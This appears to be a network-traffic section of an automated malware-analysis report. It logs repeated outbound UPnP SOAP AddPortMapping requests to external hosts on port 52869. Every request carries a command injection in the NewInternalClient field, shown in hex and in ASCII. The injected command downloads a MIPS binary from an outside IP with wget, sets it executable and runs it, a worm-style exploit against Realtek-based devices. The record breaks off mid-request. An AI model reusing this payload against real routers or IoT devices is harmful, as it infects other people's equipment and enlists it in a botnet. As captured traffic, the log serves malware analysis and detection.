                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      126192.168.2.153921845.207.145.3152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:13.902873039 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.976505041 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.120330095 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:36.152051926 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:00.471327066 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      127192.168.2.154417645.138.135.10352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:14.460381985 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 